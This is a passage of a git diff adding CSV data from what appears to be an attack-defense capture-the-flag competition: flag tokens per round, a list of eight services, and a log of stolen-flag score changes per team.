+15249,ALGD7FY2F27E4DQLESAPCMPP8ZHZBJC=,239,2,0 +15250,Z9AXHTC1GE2JCUFSJ1OIBN7ICJYG72O=,239,2,1 +15251,07CY6JJC1UJ1YIC0S7U3G4Q0FOXBSYC=,239,2,2 +15252,F1ROB93H4PUALZJV7DT0MMDD5T9OHF7=,239,2,3 +15253,VAP3XZXW1A27S6VMQTSRE5DNOLQCONI=,239,2,4 +15254,DB4Y58GZBH1L5DGUUM1BYK2JD5RLBU5=,239,2,5 +15255,ECJFYGEQCRPSTGKJ6F3JDNVV2Z0B2LO=,239,2,6 +15256,K596A2O2OP35RIVATDAT9B090JRAG9K=,239,2,7 +15257,ZYEGHEN4Q22TIY2S180TEWXBRJ3UO4T=,239,3,0 +15258,FHJNX9J14JLBUR2TL1T92JQUKDPGJHE=,239,3,1 +15259,ES4Z6IF9ZZEZNPZIOEGFDI6RYS7RKDN=,239,3,2 +15260,PR3GWBSUNIPO3Z0SDK1JT4SOE1M7HPG=,239,3,3 +15261,G3AQBPVINSVTU7XD6KRXOHXAJES9D3Q=,239,3,4 +15262,R34YPY2W0ZW0R6WPTRWRZA04K1F12Q2=,239,3,5 +15263,ZCER7NUG8I42EXNG6SJ38WU78360OUB=,239,3,6 +15264,B6T3HQTM9D4CAIM6VT92PCOSJ3V4NV2=,239,3,7 +15265,N0EAA236EOJ7DWG88UEWPFF690XRX1B=,239,4,0 +15266,0UF29T1SPZP32CR3HGKE9V3D621Z7DN=,239,4,1 +15267,MHB4Q6830TG6T8S6KG2W9JLHHMFQ9G4=,239,4,2 +15268,19EF93FSYP71X09KQX2JHAQ4GSGX2AT=,239,4,3 +15269,6AFB8336FSSLNXAJKW34JFOGE147IRJ=,239,4,4 +15270,SSCLBYYRJF1ZZHZM4MVZ6EH34XPZ1K5=,239,4,5 +15271,YFAIPLY5FG60NNJF61VP2CSGFA774J5=,239,4,6 +15272,3ZEMMFRTNV3Q7WLO8ETKAJXYO0IW18B=,239,4,7 +15273,H5ILP8LHBSZLA7OH63UVNHK99OESIFF=,239,5,0 +15274,GEM3DCY70995TUNEHMS3HNN4ZR8VNJM=,239,5,1 +15275,IOTYNAR2UXFB5TWV3CXJP4XEV7OWY89=,239,5,2 +15276,IKA2TZM325T9J4PLIQJYMO893B5XX0A=,239,5,3 +15277,YZ7A9NQ9OU8DMQG7PSZFRNGOUF1DSY2=,239,5,4 +15278,JO22J9SKS3ZS4CTNMG6W5AGQ45U03UQ=,239,5,5 +15279,069M5KB1AL2RZ3WKEPEZM1UI3OISP08=,239,5,6 +15280,FOWXXKYMOFIUMC2YYH7TUCQTTBTEOWJ=,239,5,7 +15281,W36PCFGC2FF8U3COFW10GBIS1FJC810=,239,6,0 +15282,9UJ34JPDPHFIOJSG0TC35FF8FSH1LCP=,239,6,1 +15283,JHNQR8I19ZV6T9O9A1B8N2KPPXTLAFF=,239,6,2 +15284,IO1KV7D2QSY2HWR4TBOXTBGAQHVF6ZQ=,239,6,3 +15285,1GKL71EE8CN077YJKMSHH1X46RL5UC5=,239,6,4 +15286,MZAGML27ISD53P7BSMAAAT9K8E13S8Q=,239,6,5 +15287,NOOA3SZTHQD6HSJWF7JV37W6REFHZAH=,239,6,6 +15288,S3O946C87U8D86953NBAT740OLKZUKV=,239,6,7 +15289,WN0I8ZTV9AOKAO3UN6JSFZ1N8YRMU3Z=,239,7,0 +15290,J6DTL9V5W0NMME1LKUROO1EBTTQ2PE0=,239,7,1 +15291,1W082E7XWM4X0EQEW84MYEPQA2Z2UIC=,239,7,2 +15292,LPWA4TEAAHYX25PB32VBFNYP191J6SY=,239,7,3 +15293,08FVN15U5TETU5ZK5N9DLRCIITPXMI6=,239,7,4 +15294,M7JVVB9F3W8JJ1EEPICVFES5DXDZ5CT=,239,7,5 +15295,GP7WJYPDV8XW56OZXSS8XZ8SSMDBUWZ=,239,7,6 +15296,2GEG57H63A5HNONPSDMVH9GK6Q98VJ3=,239,7,7 +15297,CH6DH0PPO5G8AN7E0GZRS1L0GO162DU=,240,0,0 +15298,U44X8QAZDLOF1Y4C68CZN0JY5K1LXDN=,240,0,1 +15299,3SWDROOEW1NTS0CW6C9E1JWI5TGTJSD=,240,0,2 +15300,CF741PGWHT46RYTSZ6EHHQ30OLU29PB=,240,0,3 +15301,5PTSH1PBKQ6IPGCO7VZTLSX65R4VH4A=,240,0,4 +15302,XP4DKLB5QY6JZOOQ1X6CYHI5K019Y9X=,240,0,5 +15303,1O4OJ8ANZ2BWAQZ9F07RYH3QOG9WJ72=,240,0,6 +15304,V7G5DMNX9NSZYYS5M56V7E9R3GFEVHW=,240,0,7 +15305,L4FIWNBEH383UZ0X4GHWRIG7CNM473J=,240,1,0 +15306,CF393XT85I771RRG0OVIJF8620JJNK3=,240,1,1 +15307,74OZCR5UO1JBZR6O1QXZ17CLJTJ7O4Y=,240,1,2 +15308,RY62P6GXDY1PGEDQVEI7XNGK0OLQ8MV=,240,1,3 +15309,K36P7FM4S463X5HVJGUE65S0D2JEOSR=,240,1,4 +15310,3IECJ97JVUQ7L7SD79TQRLSB3N2SJS4=,240,1,5 +15311,OCCP094TVVQDA7N1LSW0UMJSA0PD4FS=,240,1,6 +15312,BMGYNLHIVNHSEJZ8OKU61DGYID4RS32=,240,1,7 +15313,NG68D1ILNK7OMINIROXA7EOF5GGDV70=,240,2,0 +15314,8H8WKGQ50QV4E086E5886QU1ZZW96B2=,240,2,1 +15315,CLL3J269WTCLU0AGB6Y2UFRCPSOTOWO=,240,2,2 +15316,BRYX4Z390GFLYTVFV3JVX5SNNOVNLIM=,240,2,3 +15317,WK0O23B8EDRSC5H8QHYRZMW4C2ODTQV=,240,2,4 +15318,Y90EFMU0M3QBES99IZ49P2ICJT8YWPF=,240,2,5 +15319,H5G57D17VYZIUEJ6DXJ5K7XHZ0E5AMK=,240,2,6 +15320,1V74WLUDVUYGCIGDYZ0YRI1C6KGDO75=,240,2,7 +15321,SNJNJUMR36QJ0MJILA9UG2ZUESAX82W=,240,3,0 +15322,JHHEFU0WQ2QD94LTOIXW3M8PI3F5NNW=,240,3,1 +15323,IG9W8UC9LA7R05AAYLF3XYZN9ETMCFF=,240,3,2 +15324,PXGQ5J8ZLG65C7SPAODS445PBO02M2D=,240,3,3 +15325,MY5UTDYKA5JPJN95APZ5PR5IU38Q08J=,240,3,4 +15326,NTPKIP64EQPQMVD5P3JTRX82WERN6X5=,240,3,5 +15327,68DS2UFEKFC0X8QCLT0VGQO3IXVIIHO=,240,3,6 +15328,10WRWHWCX8UR94S60LWN40X80KA150T=,240,3,7 +15329,ZCH7JRELI43EZUSWRNJ0SU88JDSNG4D=,240,4,0 +15330,3MCPHLLV7QH74K1MWYMN3CV9HBIS87S=,240,4,1 +15331,1WJTD53M8HSGNRX4EHRGOSBA1SN6UA3=,240,4,2 +15332,Q6UEYGOF3026KEJ0H9ZHULYNM42ONUX=,240,4,3 +15333,L389L3W6F5MULQVS6JA8WHADMOPCAVT=,240,4,4 +15334,KPJ3EJDAMQUPAVUI2PW5FUB5I8RRTPR=,240,4,5 +15336,PE2TU86H1QP02H9IALUW02CEDKXFZN5=,240,4,7 +15337,JYKHPXPPU6TJHFRZ1RZSR3MIIQLM3GP=,240,5,0 +15338,JX7VTY2LIIF14A1DPJLYUOQVCNZ1OOJ=,240,5,1 +15339,WDQSEUNDFB44VXDJN2B6HUI5NT2FNFU=,240,5,2 +15340,19VAQK1CW08SBNQ2RFO14CYMWB5MILH=,240,5,3 +15341,VB0ECLKP0HZH4C6RBETDVJI409ZQRBC=,240,5,4 +15342,I12TDBAEF5M0UMP42AGEXSWCBCKBLDB=,240,5,5 +15343,LWGB9CSMZDZ61I6VA61X0J03H7VIKNW=,240,5,6 +15344,AA1VS9CNBHQ04HRFNIIV8QE54U6168F=,240,5,7 +15345,MAM1KOQSB3SHFZOY75SQSM5PM7830HG=,240,6,0 +15346,3BO3IOWVLXS10QUMIZYZA6DDDRZDP2Z=,240,6,1 +15347,AV4ALUI50C7WSMYF460LHHXCZI31640=,240,6,2 +15348,6KEFKVOM2ZU7IDOK4MLJCZJ2QYV24D6=,240,6,3 +15349,VPCL8VJ1QLC0SGVRQQ67W1G64PO7MKI=,240,6,4 +15350,OZQFJ9RLSGRHH1GWWXJC7OH5EH64H2R=,240,6,5 +15351,1T7EOI2HIW8YWTW43ETGTJE64R779WV=,240,6,6 +15352,IU29PT021GI1ZHKDB2ZSII6653XOI77=,240,6,7 +15353,M6UMAPKD097MXIXXSYONX24HKXI841R=,240,7,0 +15354,DX1JAXJ59MCDT3YH8KCTVWR94J6LVB9=,240,7,1 +15355,62262Z7FLL0KYLTZ5DV2GFCP2AVRIWG=,240,7,2 +15356,DJTXEZNZQGVRG2BDNRPWGS501GKJZ33=,240,7,3 +15357,ZKHR64UDD3Y209G8A7JW0ZS7O23U0HT=,240,7,4 +15358,QH7ZN4GHHILEHLXPO3M33S6LP1L6J61=,240,7,5 +15359,3GKFZCBAGBAA98J4VJIGSTZDWL41YZY=,240,7,6 +15360,S3OWQH2WMTHIVP5M7TFQL88APA9GIXO=,240,7,7 \ No newline at end of file diff --git a/data/service.csv b/data/service.csv new file mode 100644 index 0000000..e4317fb --- /dev/null +++ b/data/service.csv @@ -0,0 +1,9 @@ +id,name,timeout +0,ClosedSea 1,17000 +1,ClosedSea 2,17000 +2,CU - ExamNotes,10000 +3,CU - EncryptedNotes,10000 +4,CU - ExamPortal,10000 +5,RPN 1,10000 +6,RPN 2,10000 +7,Trademark,15000 diff --git a/data/stolen_flags.csv b/data/stolen_flags.csv new file mode 100644 index 0000000..8d767dd --- /dev/null +++ b/data/stolen_flags.csv @@ -0,0 +1,16101 @@ +id,attacker_id,flag_id,attacker_delta,victim_delta,timestamp +1,4,64,16.77050983,-16.77050983,2022-06-16 07:07:28.030522+00 +2,4,128,16.69164276,-16.69164276,2022-06-16 07:07:28.034233+00 +3,4,192,16.61314938,-16.61314938,2022-06-16 07:07:28.035577+00 +4,4,16,16.65305924,-16.65305924,2022-06-16 07:10:14.614125+00 +5,4,80,16.57494502,-16.57494502,2022-06-16 07:10:14.617817+00 +6,4,144,16.49720403,-16.49720403,2022-06-16 07:10:14.619201+00 +7,4,208,16.41983711,-16.41983711,2022-06-16 07:10:14.620491+00 +8,4,272,16.34284502,-16.34284502,2022-06-16 07:10:14.621724+00 +9,4,256,16.34289361,-16.34289361,2022-06-16 07:10:14.622807+00 +10,4,320,16.26640008,-16.26640008,2022-06-16 07:10:14.623926+00 +11,4,48,16.38535059,-16.38535059,2022-06-16 07:10:14.624877+00 +12,4,112,16.30896263,-16.30896263,2022-06-16 07:10:14.625856+00 +13,4,176,16.23294624,-16.23294624,2022-06-16 07:10:14.626804+00 +14,4,240,16.15730199,-16.15730199,2022-06-16 07:10:14.62767+00 +15,4,304,16.08203038,-16.08203038,2022-06-16 07:10:14.628509+00 +16,4,32,16.19846002,-16.19846002,2022-06-16 07:10:14.629378+00 +17,4,96,16.12328501,-16.12328501,2022-06-16 07:10:14.630181+00 +18,4,160,16.04847991,-16.04847991,2022-06-16 07:10:14.630943+00 +19,4,224,15.97404513,-15.97404513,2022-06-16 07:10:14.631741+00 +20,4,288,15.89998098,-15.89998098,2022-06-16 07:10:14.632888+00 +21,4,88,16.01524689,-16.01524689,2022-06-16 07:10:14.63467+00 +22,4,152,15.94126664,-15.94126664,2022-06-16 07:10:14.635535+00 +23,4,216,15.8676543,-15.8676543,2022-06-16 07:10:14.63636+00 +24,4,280,15.7944101,-15.7944101,2022-06-16 07:10:14.637397+00 +25,4,352,15.68231661,-15.68231661,2022-06-16 07:12:04.380875+00 +26,4,384,15.6412221,-15.6412221,2022-06-16 07:12:04.384575+00 +27,4,368,15.60962391,-15.60962391,2022-06-16 07:12:04.385907+00 +28,4,336,15.57145819,-15.57145819,2022-06-16 07:12:04.38786+00 +29,4,344,15.5810195,-15.5810195,2022-06-16 07:12:05.663717+00 +30,4,416,15.46999551,-15.46999551,2022-06-16 07:14:04.591118+00 +31,4,400,15.43041922,-15.43041922,2022-06-16 07:14:04.595488+00 +32,4,448,15.39539638,-15.39539638,2022-06-16 07:14:04.59725+00 +33,4,432,15.36479386,-15.36479386,2022-06-16 07:14:04.598992+00 +34,4,408,15.37206289,-15.37206289,2022-06-16 07:14:05.892758+00 +35,4,512,15.25662627,-15.25662627,2022-06-16 07:16:04.842626+00 +36,4,464,15.22341459,-15.22341459,2022-06-16 07:16:04.846329+00 +37,4,496,15.19296848,-15.19296848,2022-06-16 07:16:04.848804+00 +38,4,480,15.16122154,-15.16122154,2022-06-16 07:16:04.850297+00 +39,4,472,15.16744927,-15.16744927,2022-06-16 07:16:06.15875+00 +40,6,208,16.46591702,-16.46591702,2022-06-16 07:16:10.337069+00 +41,6,272,16.38800519,-16.38800519,2022-06-16 07:16:10.340562+00 +42,6,336,16.31047525,-16.31047525,2022-06-16 07:16:10.341863+00 +43,6,400,16.23332784,-16.23332784,2022-06-16 07:16:10.342972+00 +44,6,464,16.15656356,-16.15656356,2022-06-16 07:16:10.343974+00 +45,6,216,16.32015952,-16.32015952,2022-06-16 07:16:10.468457+00 +46,6,280,16.24335438,-16.24335438,2022-06-16 07:16:10.471881+00 +47,6,344,16.16692846,-16.16692846,2022-06-16 07:16:10.472923+00 +48,6,408,16.09088227,-16.09088227,2022-06-16 07:16:10.474045+00 +49,6,472,16.01521625,-16.01521625,2022-06-16 07:16:10.47534+00 +50,6,224,16.0925964,-16.0925964,2022-06-16 07:16:10.616043+00 +51,6,288,16.01716366,-16.01716366,2022-06-16 07:16:10.619745+00 +52,6,352,15.94210906,-15.94210906,2022-06-16 07:16:10.620988+00 +53,6,416,15.86743288,-15.86743288,2022-06-16 07:16:10.622062+00 +54,6,480,15.79313536,-15.79313536,2022-06-16 07:16:10.623035+00 +55,6,544,15.71921666,-15.71921666,2022-06-16 07:16:10.624063+00 +56,6,232,17.58943358,-17.58943358,2022-06-16 07:16:10.751301+00 +57,6,296,17.51026885,-17.51026885,2022-06-16 07:16:10.755175+00 +58,6,360,17.43143337,-17.43143337,2022-06-16 07:16:10.756674+00 +59,6,424,17.35292884,-17.35292884,2022-06-16 07:16:10.757895+00 +60,6,488,17.27475694,-17.27475694,2022-06-16 07:16:10.75901+00 +61,6,552,17.19691921,-17.19691921,2022-06-16 07:16:10.760053+00 +62,6,240,15.63418296,-15.63418296,2022-06-16 07:16:10.883018+00 +63,6,304,15.56179686,-15.56179686,2022-06-16 07:16:10.886443+00 +64,6,368,15.48978244,-15.48978244,2022-06-16 07:16:10.888256+00 +65,6,432,15.4181396,-15.4181396,2022-06-16 07:16:10.889181+00 +66,6,496,15.34686821,-15.34686821,2022-06-16 07:16:10.890099+00 +67,6,560,15.27596805,-15.27596805,2022-06-16 07:16:10.891375+00 +68,6,256,15.42180143,-15.42180143,2022-06-16 07:16:10.984812+00 +69,6,320,15.35082684,-15.35082684,2022-06-16 07:16:10.986197+00 +70,6,384,15.28022028,-15.28022028,2022-06-16 07:16:10.987259+00 +71,6,448,15.20998152,-15.20998152,2022-06-16 07:16:10.988181+00 +72,6,512,15.14011026,-15.14011026,2022-06-16 07:16:10.989035+00 +73,6,576,15.07060614,-15.07060614,2022-06-16 07:16:10.989854+00 +74,4,576,15.0665157,-15.0665157,2022-06-16 07:18:05.506269+00 +75,4,528,15.05738725,-15.05738725,2022-06-16 07:18:05.509689+00 +76,4,544,14.99623995,-14.99623995,2022-06-16 07:18:05.51095+00 +77,4,560,14.96775134,-14.96775134,2022-06-16 07:18:05.512014+00 +78,4,536,15.00478012,-15.00478012,2022-06-16 07:18:05.513057+00 +324,4,944,13.87139345,-13.87139345,2022-06-16 07:30:05.346081+00 +325,4,912,13.89664654,-13.89664654,2022-06-16 07:30:05.349402+00 +175,6,720,14.33459376,-14.33459376,2022-06-16 07:24:01.51473+00 +326,4,928,13.80821215,-13.80821215,2022-06-16 07:30:05.350432+00 +83,6,528,14.98987641,-14.98987641,2022-06-16 07:19:07.035741+00 +84,6,592,14.9211506,-14.9211506,2022-06-16 07:19:07.039271+00 +327,4,960,13.78354138,-13.78354138,2022-06-16 07:30:05.351435+00 +331,4,915,15.19304193,-15.19304193,2022-06-16 07:30:29.108732+00 +1155,6,1933,16.19598564,-16.19598564,2022-06-16 08:03:56.576625+00 +554,2,1168,16.76121366,-16.76121366,2022-06-16 07:38:59.428337+00 +89,6,536,14.97086766,-14.97086766,2022-06-16 07:19:07.270243+00 +90,6,600,14.90240805,-14.90240805,2022-06-16 07:19:07.273629+00 +744,2,1376,14.26930488,-14.26930488,2022-06-16 07:44:59.42476+00 +1161,6,1997,16.12045981,-16.12045981,2022-06-16 08:04:04.299706+00 +191,4,768,14.4042103,-14.4042103,2022-06-16 07:24:05.280365+00 +192,4,736,14.36954051,-14.36954051,2022-06-16 07:24:05.284218+00 +193,4,752,14.34334256,-14.34334256,2022-06-16 07:24:05.285438+00 +96,6,608,14.83067128,-14.83067128,2022-06-16 07:19:07.532502+00 +204,4,467,16.38534439,-16.38534439,2022-06-16 07:24:37.045151+00 +205,4,531,16.30895648,-16.30895648,2022-06-16 07:24:37.048466+00 +206,4,595,16.23294013,-16.23294013,2022-06-16 07:24:37.049434+00 +207,4,659,16.15729592,-16.15729592,2022-06-16 07:24:37.050374+00 +208,4,723,16.08202435,-16.08202435,2022-06-16 07:24:37.051291+00 +102,6,624,14.8028572,-14.8028572,2022-06-16 07:19:07.920211+00 +210,4,459,16.19845394,-16.19845394,2022-06-16 07:24:54.569619+00 +211,4,523,16.12327898,-16.12327898,2022-06-16 07:24:54.57405+00 +212,4,587,16.04847392,-16.04847392,2022-06-16 07:24:54.575269+00 +213,4,651,15.97403918,-15.97403918,2022-06-16 07:24:54.576417+00 +214,4,715,15.89997507,-15.89997507,2022-06-16 07:24:54.577559+00 +108,6,640,14.7693476,-14.7693476,2022-06-16 07:19:08.198633+00 +109,4,624,14.83103748,-14.83103748,2022-06-16 07:20:05.811895+00 +110,4,592,14.78567161,-14.78567161,2022-06-16 07:20:05.819235+00 +111,4,640,14.7650992,-14.7650992,2022-06-16 07:20:05.82077+00 +112,4,608,14.72921898,-14.72921898,2022-06-16 07:20:05.822062+00 +113,4,600,14.73596693,-14.73596693,2022-06-16 07:20:07.108201+00 +341,6,992,13.7179837,-13.7179837,2022-06-16 07:30:43.881139+00 +1577,6,2277,16.1251202,-16.1251202,2022-06-16 08:14:55.985975+00 +956,4,1856,10.8660367,-10.8660367,2022-06-16 07:58:05.161033+00 +347,6,1008,13.6941072,-13.6941072,2022-06-16 07:30:44.259704+00 +957,4,1840,10.87676447,-10.87676447,2022-06-16 07:58:05.164659+00 +119,6,656,14.65514217,-14.65514217,2022-06-16 07:20:20.433422+00 +229,6,800,14.24393976,-14.24393976,2022-06-16 07:25:57.090777+00 +328,4,923,15.28970769,-15.28970769,2022-06-16 07:30:20.588558+00 +329,4,955,15.30137365,-15.30137365,2022-06-16 07:30:20.59199+00 +330,4,939,15.22405113,-15.22405113,2022-06-16 07:30:20.593061+00 +3608,1,3451,13.93809816,-13.93809816,2022-06-16 08:48:58.204473+00 +125,6,664,14.67039758,-14.67039758,2022-06-16 07:20:20.693278+00 +2057,4,2616,16.42460624,-16.42460624,2022-06-16 08:27:02.205749+00 +559,2,1184,14.98198272,-14.98198272,2022-06-16 07:39:04.42113+00 +749,2,1392,14.21223362,-14.21223362,2022-06-16 07:45:04.421282+00 +564,2,1200,14.92075741,-14.92075741,2022-06-16 07:39:04.526933+00 +3609,1,3419,13.98441841,-13.98441841,2022-06-16 08:48:58.208633+00 +131,6,672,14.59968421,-14.59968421,2022-06-16 07:20:20.945346+00 +569,2,1216,14.84945144,-14.84945144,2022-06-16 07:39:04.641097+00 +194,4,475,16.77050983,-16.77050983,2022-06-16 07:24:27.789519+00 +195,4,539,16.69164276,-16.69164276,2022-06-16 07:24:27.793112+00 +196,4,603,16.61314938,-16.61314938,2022-06-16 07:24:27.79423+00 +197,4,667,16.53503065,-16.53503065,2022-06-16 07:24:27.795275+00 +137,6,688,14.57251519,-14.57251519,2022-06-16 07:20:21.331326+00 +198,4,731,16.45728747,-16.45728747,2022-06-16 07:24:27.796379+00 +199,4,491,16.57599995,-16.57599995,2022-06-16 07:24:27.797902+00 +200,4,555,16.4983812,-16.4983812,2022-06-16 07:24:27.799082+00 +201,4,619,16.42113529,-16.42113529,2022-06-16 07:24:27.800148+00 +202,4,683,16.34426298,-16.34426298,2022-06-16 07:24:27.800996+00 +143,6,704,14.54006113,-14.54006113,2022-06-16 07:20:21.599801+00 +144,4,704,14.59901693,-14.59901693,2022-06-16 07:22:05.1281+00 +145,4,656,14.55524464,-14.55524464,2022-06-16 07:22:05.132058+00 +146,4,672,14.5321199,-14.5321199,2022-06-16 07:22:05.133307+00 +147,4,688,14.50523979,-14.50523979,2022-06-16 07:22:05.13439+00 +203,4,747,16.26776496,-16.26776496,2022-06-16 07:24:27.801884+00 +209,4,720,14.2997176,-14.2997176,2022-06-16 07:24:39.475057+00 +215,4,571,16.01524094,-16.01524094,2022-06-16 07:24:57.039517+00 +216,4,635,15.94126073,-15.94126073,2022-06-16 07:24:57.043306+00 +217,4,699,15.86764842,-15.86764842,2022-06-16 07:24:57.044259+00 +218,4,763,15.79440426,-15.79440426,2022-06-16 07:24:57.045325+00 +754,2,1408,14.14510236,-14.14510236,2022-06-16 07:45:04.53493+00 +958,4,1808,13.61925405,-13.61925405,2022-06-16 07:58:05.165768+00 +759,2,1360,16.39004954,-16.39004954,2022-06-16 07:45:04.64537+00 +3610,1,3435,14.38736454,-14.38736454,2022-06-16 08:48:58.209586+00 +158,6,736,14.43593244,-14.43593244,2022-06-16 07:22:35.550363+00 +768,4,1467,14.13482227,-14.13482227,2022-06-16 07:46:20.175138+00 +353,6,1024,13.6651814,-13.6651814,2022-06-16 07:30:44.525071+00 +354,4,976,13.77675607,-13.77675607,2022-06-16 07:32:05.457788+00 +355,4,992,13.65648787,-13.65648787,2022-06-16 07:32:05.462932+00 +356,4,1008,13.63286955,-13.63286955,2022-06-16 07:32:05.464074+00 +164,6,752,14.40945138,-14.40945138,2022-06-16 07:22:35.926098+00 +357,4,1024,13.60421232,-13.60421232,2022-06-16 07:32:05.465449+00 +235,6,816,14.21825198,-14.21825198,2022-06-16 07:25:57.482524+00 +358,4,987,15.11878384,-15.11878384,2022-06-16 07:32:21.049469+00 +359,4,1003,15.08776453,-15.08776453,2022-06-16 07:32:21.052901+00 +360,4,1019,15.09787669,-15.09787669,2022-06-16 07:32:21.053896+00 +170,6,768,14.37740632,-14.37740632,2022-06-16 07:22:36.204013+00 +361,4,979,15.02421406,-15.02421406,2022-06-16 07:32:29.789035+00 +362,2,768,16.35775603,-16.35775603,2022-06-16 07:33:59.318899+00 +241,6,832,14.18680522,-14.18680522,2022-06-16 07:25:57.744732+00 +242,4,816,14.21411424,-14.21411424,2022-06-16 07:26:05.820837+00 +243,4,800,14.17899075,-14.17899075,2022-06-16 07:26:05.825428+00 +244,4,832,14.15251292,-14.15251292,2022-06-16 07:26:05.827648+00 +245,4,811,15.67791213,-15.67791213,2022-06-16 07:26:18.395897+00 +246,4,795,15.64032211,-15.64032211,2022-06-16 07:26:20.52197+00 +247,4,827,15.65100189,-15.65100189,2022-06-16 07:26:20.52618+00 +248,4,787,15.57448815,-15.57448815,2022-06-16 07:26:29.734004+00 +363,2,832,16.27803743,-16.27803743,2022-06-16 07:33:59.322574+00 +364,2,720,16.36883547,-16.36883547,2022-06-16 07:33:59.323628+00 +365,2,848,16.28935584,-16.28935584,2022-06-16 07:33:59.324652+00 +366,2,912,16.21027923,-16.21027923,2022-06-16 07:33:59.32561+00 +367,2,976,16.1316062,-16.1316062,2022-06-16 07:33:59.326637+00 +368,2,800,16.1185744,-16.1185744,2022-06-16 07:34:04.326117+00 +369,2,816,16.08512724,-16.08512724,2022-06-16 07:34:04.329767+00 +370,2,864,16.00218449,-16.00218449,2022-06-16 07:34:04.331238+00 +371,2,880,15.96925216,-15.96925216,2022-06-16 07:34:04.332444+00 +258,6,864,14.08554965,-14.08554965,2022-06-16 07:27:01.951098+00 +372,2,928,15.88688884,-15.88688884,2022-06-16 07:34:04.333713+00 +373,2,944,15.85446609,-15.85446609,2022-06-16 07:34:04.335138+00 +374,2,992,15.77268168,-15.77268168,2022-06-16 07:34:04.33634+00 +375,2,1008,15.74076322,-15.74076322,2022-06-16 07:34:04.337848+00 +376,4,1040,13.47638154,-13.47638154,2022-06-16 07:34:05.362307+00 +264,6,880,14.06037811,-14.06037811,2022-06-16 07:27:02.342289+00 +377,4,1072,13.36526338,-13.36526338,2022-06-16 07:34:05.365938+00 +378,4,1056,13.33263884,-13.33263884,2022-06-16 07:34:05.367046+00 +379,4,1088,13.38366811,-13.38366811,2022-06-16 07:34:05.368319+00 +380,4,1067,14.95308586,-14.95308586,2022-06-16 07:34:20.608182+00 +381,4,1051,14.91811481,-14.91811481,2022-06-16 07:34:20.611721+00 +270,4,848,14.14447935,-14.14447935,2022-06-16 07:28:04.856231+00 +271,4,896,14.05880415,-14.05880415,2022-06-16 07:28:04.860414+00 +272,4,864,13.99180757,-13.99180757,2022-06-16 07:28:04.862461+00 +273,4,880,13.96702046,-13.96702046,2022-06-16 07:28:04.864187+00 +382,4,1083,14.93111011,-14.93111011,2022-06-16 07:34:20.612727+00 +383,4,1043,14.85825362,-14.85825362,2022-06-16 07:34:28.967443+00 +592,1,1248,15.03303518,-15.03303518,2022-06-16 07:40:09.807563+00 +277,6,848,14.05175934,-14.05175934,2022-06-16 07:28:15.410951+00 +593,1,1240,16.96129016,-16.96129016,2022-06-16 07:40:09.812336+00 +386,6,976,13.47270353,-13.47270353,2022-06-16 07:34:29.359865+00 +594,1,1264,14.93225667,-14.93225667,2022-06-16 07:40:09.813566+00 +595,1,1280,14.86100474,-14.86100474,2022-06-16 07:40:09.814728+00 +769,4,1435,14.06055332,-14.06055332,2022-06-16 07:46:20.178452+00 +283,6,928,13.92954691,-13.92954691,2022-06-16 07:28:15.801824+00 +2077,6,2765,14.93596311,-14.93596311,2022-06-16 08:27:11.984731+00 +391,6,1056,13.35662601,-13.35662601,2022-06-16 07:34:29.701104+00 +606,6,1184,12.76562646,-12.76562646,2022-06-16 07:40:32.243601+00 +607,6,1248,12.70913121,-12.70913121,2022-06-16 07:40:32.24696+00 +1609,6,2125,15.82364878,-15.82364878,2022-06-16 08:15:31.597357+00 +289,6,944,13.9050233,-13.9050233,2022-06-16 07:28:16.19519+00 +780,6,1376,12.09595223,-12.09595223,2022-06-16 07:46:42.946975+00 +396,6,1072,13.33422782,-13.33422782,2022-06-16 07:34:30.05133+00 +397,6,1136,13.27515044,-13.27515044,2022-06-16 07:34:30.054654+00 +781,6,1440,12.0433888,-12.0433888,2022-06-16 07:46:42.95028+00 +294,6,896,13.90799595,-13.90799595,2022-06-16 07:28:16.438528+00 +295,6,960,13.8458077,-13.8458077,2022-06-16 07:28:16.441608+00 +296,4,843,15.54175338,-15.54175338,2022-06-16 07:28:16.664201+00 +297,4,891,15.50927412,-15.50927412,2022-06-16 07:28:20.641785+00 +298,4,875,15.43097244,-15.43097244,2022-06-16 07:28:20.64532+00 +299,4,859,15.39440086,-15.39440086,2022-06-16 07:28:20.646266+00 +300,4,851,15.36478502,-15.36478502,2022-06-16 07:28:29.08514+00 +976,6,1856,10.99644808,-10.99644808,2022-06-16 07:58:31.877843+00 +624,2,1232,16.69475333,-16.69475333,2022-06-16 07:40:59.427797+00 +2932,6,3261,13.76406672,-13.76406672,2022-06-16 08:40:53.674312+00 +402,6,1088,13.35286311,-13.35286311,2022-06-16 07:34:30.254001+00 +305,6,912,13.87178294,-13.87178294,2022-06-16 07:29:45.226237+00 +403,6,1152,13.29384415,-13.29384415,2022-06-16 07:34:30.257331+00 +404,1,888,20.2649037,-20.2649037,2022-06-16 07:34:48.918678+00 +405,1,1008,16.60094345,-16.60094345,2022-06-16 07:34:48.922088+00 +406,1,1056,16.58762458,-16.58762458,2022-06-16 07:34:48.923115+00 +407,1,1048,17.72455506,-17.72455506,2022-06-16 07:34:48.924184+00 +408,1,920,17.63934567,-17.63934567,2022-06-16 07:34:48.925083+00 +409,1,1080,20.01334209,-20.01334209,2022-06-16 07:34:48.925937+00 +410,1,800,16.36967696,-16.36967696,2022-06-16 07:34:48.926857+00 +411,1,944,16.30197815,-16.30197815,2022-06-16 07:34:48.927637+00 +412,1,952,19.84777529,-19.84777529,2022-06-16 07:34:48.928383+00 +413,1,992,16.20089475,-16.20089475,2022-06-16 07:34:48.929946+00 +414,1,832,16.29248049,-16.29248049,2022-06-16 07:34:48.930756+00 +415,1,1024,16.21257775,-16.21257775,2022-06-16 07:34:48.931637+00 +416,1,1072,16.05532046,-16.05532046,2022-06-16 07:34:48.932411+00 +417,1,880,15.97651337,-15.97651337,2022-06-16 07:34:48.933167+00 +418,1,896,16.05582712,-16.05582712,2022-06-16 07:34:48.933938+00 +419,1,864,15.92667852,-15.92667852,2022-06-16 07:34:48.934704+00 +420,1,1016,19.49518782,-19.49518782,2022-06-16 07:34:48.935609+00 +421,1,960,15.89237082,-15.89237082,2022-06-16 07:34:48.936382+00 +422,1,824,19.37158667,-19.37158667,2022-06-16 07:34:48.937116+00 +423,1,792,16.97412277,-16.97412277,2022-06-16 07:34:48.937884+00 +424,1,856,16.8933455,-16.8933455,2022-06-16 07:34:48.938655+00 +425,1,1088,15.68815856,-15.68815856,2022-06-16 07:34:48.939412+00 +426,1,928,15.60031291,-15.60031291,2022-06-16 07:34:48.940142+00 +427,1,816,15.53610109,-15.53610109,2022-06-16 07:34:48.941014+00 +428,1,984,16.70168911,-16.70168911,2022-06-16 07:34:48.941772+00 